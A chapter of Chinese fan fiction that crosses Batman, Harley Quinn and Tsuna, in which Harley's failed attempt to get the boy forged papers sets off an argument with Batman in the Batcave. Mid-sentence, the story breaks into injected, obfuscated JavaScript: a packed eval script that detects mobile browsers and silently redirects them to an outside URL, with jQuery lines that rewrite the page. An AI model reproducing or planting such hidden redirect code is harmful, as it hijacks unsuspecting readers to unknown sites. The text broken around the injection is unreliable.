“在拿到那东西之前，暂时先用这个吧。”
芭芭拉拿出五只耳机，给自己塞上一只，摊开手中剩下的四只示意众人来拿。
夜翼率先拿走一只，然后飞快地找到一个最佳的位置站好，兴致勃勃地准备看好戏。蝙蝠侠沉默地接过一只——他并没有表明自己会说日语这件事情。哈莉一个人拿了最后的两只，但并没有马上给纲吉递过去，而是把它们都握在手里——
“嘿，接下来我可能会骂的挺脏，十八岁以下人群注意把耳朵捂好。”哈莉环顾四周一圈，确认唯一的符合标准的人听不懂英文。
“很好。那么我要开始了。”
这件事情要从她捡到纲吉的那天晚上开始说起。
在决定把纲吉当成弟弟长期养在自己身边之后，哈莉发动了自己超绝的执行能力。她总是想到什么做什么，从某种角度来说叫行动果决，其实是为了防止自己过一会就忘掉。
在哥谭，想让人重获新生非常简单。只需要到照相馆拍张照——如果你提前准备了符合标准的证件照也可以，然后上交二百八十美元，坐在长椅上等一小时，最后就能凭着号码牌在黑市领取一张足以以假乱真的新绿卡了。想要社会安全卡和新泽西州驾照的话再加一百美元，这是套餐的优惠价格。
这些伪造的身份证明大多是提供给偷渡入境的非法移民，用来干找工作、开银行账户之类的事情。这在美加或者美墨边境的地区管制严格，一被查到就是十年监禁起步，但在哥谭，这就是三百块不到的事儿。甚至很多人还觉得这是在拿钱打水漂。在哥谭人被开除美国国籍的那段时间，你在哥谭的大街上随便拉一个人，十个里有九个都把身份证当柴火烧了。
可想而知，在哈莉规规矩矩整整齐齐交了三百八十元，却得知纲吉的身份证明没办下的时候，她有多愤怒。
工作人员在她的棒球棍下哆哆嗦嗦说出了内幕。
“警局那边最近查得严...又是日本人，这，这真不好办啊。”工作人员不敢直视那根抵着脖子的棒球棍，“唉，我就实话实话了吧，最近有一批外来势力。是局长直接下的命令。要不，您给他换个名字和国籍？中国？韩国？都能办下来的。”
哈莉·奎恩可能让自己的弟弟因为这种莫名其妙的原因失去自己的国籍和本名吗？虽然那名字是比较奇怪，但她必须誓死捍卫他拥有真名的权利！
哥谭的警局并不干净，某些高层人员和地下黑市从宇宙刚刚诞生时就开始合作了。
詹姆斯·戈登？那个吉祥物局长可没那么大能耐把手伸到这里。
哈莉只需略微思考就知道背后那个真正下达命令的人是谁了。
于是，在纲吉睡着后，她直接一个电话打到了蝙蝠侠那里。事实上，这是她拿到他的号码后第一次主动和他联系。没有人会在过私生活的时候想到联络自己的上司，特别是一个在你上班累得要死要活，好不容易到家准备好好放松一下时，拉开门发现他站在窗口冷冰冰地通知你今晚有任务需要集合的上司。
最可恶的是，他还不给工资。这简直是在赤裸裸地告知哈莉：你现在付出的所有劳动都是在弥补你之前在我这里扣掉的信誉分，所以它们是免费的。
哈莉·奎恩并不是想向他证明什么，要命的是，这恰巧是她内心真正想要选择的道路。蝙蝠侠给了她这个机会，她不可能因为一些个人情绪就拒绝。而且她能感觉到，这个人随时都做好了和她翻脸的准备，只要她有一瞬间的动摇，她就会立马被他踹出局。
“...什么事？”
电话被接通。短暂的沉默后，蝙蝠侠低沉的嗓音在另一头响起。
“hello，晚上好呀蝙蝠！希望没有打扰到你的好事，如果是那样的话我会很抱歉的。”
哈莉的语气轻快。
“...有话快说。”
也许是因为第一次接到哈莉的电话，还是在半夜，蝙蝠侠对这充满戏谑的开头给予了一定的容忍度。
“呃，也没什么大事，就是，我需要办一张绿卡，是日本人，你看你有没有什么渠道？”
哈莉并没有询问他下达禁令的原因。事实上，她完全不想知道。这也是为什么她没有自己私下调查看有没有解决方法而是直接给他打了电话——他们现在的关系就像跷跷板，在经历了无数事情后才得以维持微妙的平衡，哈莉生怕自己不小心听到了什么多余的事情就会让这种局势发生变化。
“没有。”
蝙蝠侠直截了当地拒绝。显然他也明白哈莉是在找了黑市无果之后才找到自己的头上。他能有什么渠道？他只有把塞住渠道的网挪开的办法。
哈莉忍住怒火。这充满敷衍意味的两个字在她看来意味着对方连装傻都欠奉。
“真的没有吗？他还是个初中生，我敢保证他绝对不会对你造成什么威胁——不管是你本人还是你的大事。他超级乖，真的。他连英语都说不好。”哈莉的语气可怜兮兮，“看在一个十四岁孩子的份上。就算你不相信我，但你总不能让他一个人去超市买薯片的时候都没法刷信用卡吧。”
这就是纯粹胡扯了。信用卡又不用人脸识别，捡到就能用。
“不行。”在哈莉看不见的地方，蝙蝠侠皱起了他的眉头，“如果真像你说的那样，你更应该把他送走，而不是想着给他办一张假证。”
十四岁的不会说英语的日本小孩？在哥谭，只要他一个人走出家门，还没等走到超市，第二天他的心脏就能流通在黑市上。更快一点的估计都到某个议员的远房亲戚的胸腔里了。
“好吧，真谢谢你抽时间接我电话，现在，享受你的夜生活去吧，蝙蝠。”（注：一语双关，英文也可以说是蝙蝠就喜欢夜间出动的意思）
语气温柔地挂掉电话后，哈莉把手机狠狠砸向地面——这就是为什么她永远存不下钱的原因。
蝙蝠侠还是那么自以为是。她是什么诱拐犯吗？难道她就会自私到不顾本人的意愿，把一个父母健在、有家可归的孩子‘圈禁’在哥谭？
不帮她是吧？没关系，她有的是手段。这件事情就先暂时搁置一下，然后是第二项——帮纲吉搞一个高级翻译器。
短暂地发泄完不满后，哈莉神清气爽地把已经四分五裂的手机重新捡起来。她把壳子取下，戳开卡槽，然后从抽屉里拿出另一部一模一样的手机。半分钟之后，她就得到了一部全新的彩色镶钻手机二号。
她点开和芭芭拉的聊天框，发出一条消息——
“宝贝，明天中午有空吗？还是那家森达乐咖啡馆，我给你介绍我新认识的弟弟。”
与此同时，韦恩庄园中，布鲁斯·韦恩觉得自己的太阳穴正在隐隐作痛。他倒掉了杯里的热红酒——那是他用来助眠的养生红酒，不是太符合他的口味。
好在他也并不嗜酒。
只是，他感觉，即使有酒精的帮助，自己今晚应该也要睡不着了。这本来应该是他在和极道联盟的斗争中取得第一个阶段性胜利后的第一个夜晚。
“阿尔弗雷德。”他扶着额头呼喊自己的管家，“你能帮我查查哈莉·奎恩最近身边有没有什么可疑的人吗？尤其是——日本人。”
当时正在呼呼大睡，幻想着自己回家吃到了汉堡肉的纲吉还不知道，自己的连影子都没有的身份证，宛如引线一般，点燃了哈莉和蝙蝠侠之间所有的沉疴宿疾。
“他们吵的真凶。”
“你确实是吵吗，我怎么感觉是哈莉在单方面输出。”
夜翼不知道从哪里掏出来一把瓜子，友好地抓了一半分给和自己蹲在一旁看戏的芭芭拉。两人一边嗑得津
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488476|202129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
津有味一边津津有味地点评。
“那孩子真可怜，他怎么就知道傻站在那也不动一下，这下好了，现在他想过来就只能从他俩中间穿过去。”夜翼对自己提前选好的观众席非常满意——视野全面，位置隐蔽，要不然他也没胆子当着蝙蝠侠的面连瓜子都吃上了。
“行了，别说风凉话了。看来哈莉这次是真生气了。”芭芭拉没有夜翼那么不务正业，她还是仔细地听了一下夹杂在那一大堆带把字眼中偶尔闪过的内容，“我就说她怎么刚刚吃饭的时候就对布鲁斯夹枪带棒的，原来是昨晚就憋着气了。”
“我就知道他们迟早有这么一场。”夜翼耸耸肩，“之前出任务的时候要不是有我帮腔，布鲁斯恨不得给哈莉身上装一个监控器才肯放她走。”
他不知道为什么蝙蝠侠要对一个已经改过自新的美女这么没有包容度，简直有失男人的风度。
不过虽然嘴上这么说，在心底里，夜翼并没有想过要质疑蝙蝠侠的决定。
“话也不能这么说。”
芭芭拉摇摇头，得出了一个截然不同的结论。
作为蝙蝠小队中和哈莉最亲近的人，她和夜翼的出发立场相反——或者说更中立，却反而说出了一句看起来在为蝙蝠侠辩解的话。
“如果一个监控器就能解决他们之间的问题的话，哈莉巴不得让布鲁斯给她安上一百个。这不是简单的一句信不信任就能概括的——还牵扯到小丑。”
“OMG，恶俗的三角关系。这套不是早就过时了。”夜翼翻了个白眼。同样是作为孤儿长大，他却比蝙蝠侠活泼许多，还是那种在打击罪犯时享受行侠仗义带来的快感的少年心态——不过他也的确很年轻就是了。
所以也是什么话都敢说出口。
芭芭拉无语地看了他一眼。她不想和这个幼稚鬼讨论这种复杂的情感问题——他出去旅个游回来下飞机的时候都必须一脸忧郁地说出“阴雨绵绵的哥谭埋藏着多少罪恶和肮脏，它的阴影或许无边无际，但我就是那道归来的撕裂黑暗的蓝光”这种中二度爆表的台词。和他谈论这种有深度的话题，不如去喂猴子一根香蕉来的有节目效果。
“总之现在一切都结束了。哈莉分手了，小丑消失了，布鲁斯——嘿，布鲁斯在干嘛？！”
两人不约而同地站起身，手里的瓜子掉了一地。
只见布鲁斯——穿着蝙蝠侠战衣的布鲁斯·韦恩，他的手上忽然甩出了一条抓钩，把纲吉卷到了自己身边。
他的表情在黑色的钛合金头盔下看不真切，但以夜翼对他的了解，他仅从他那条紧绷的下颌线就能看出他的不悦。
“我可以给你想要的——在我和这个孩子谈谈之后。单独。只有我和他。”
蝙蝠侠的声音在空旷的蝙蝠洞里显得有些失真。而哈莉上句话的残音还在洞里不断回荡。
他摘下芭芭拉准备的用来翻译的耳机，精准地抛回在一旁目瞪口呆的芭芭拉的手里。
纲吉还没反应过来发生了什么，就发现自己被一只粗壮的胳膊直接托着屁股飞向了空中。是的，蝙蝠侠直接单手揽住了他的大腿，那一圈抓钩牢牢地固定着他的腰部，而他正坐在对方的大臂上。
完全是抱小孩的姿势。纲吉甚至能感觉到自己被触碰到的裸露的肌肤传来的皮革质感——从他的护手和紧身衣上。为此，他那声因为突然上天了而想要发出的尖叫彻底卡在了喉咙中。
在他下方，不断缩小的哈莉的身影仍在站在原地。她低着头。
从远去的纲吉看不到的角度，芭芭拉看见她的脸色阴沉得像下一秒就要暴起一样。但直到黑色的身影在上空彻底消失不见，她也没有做出任何举动。
蝙蝠侠最后的声音在蝙蝠洞中一点点消散。
“如果你是真心想养他的话。”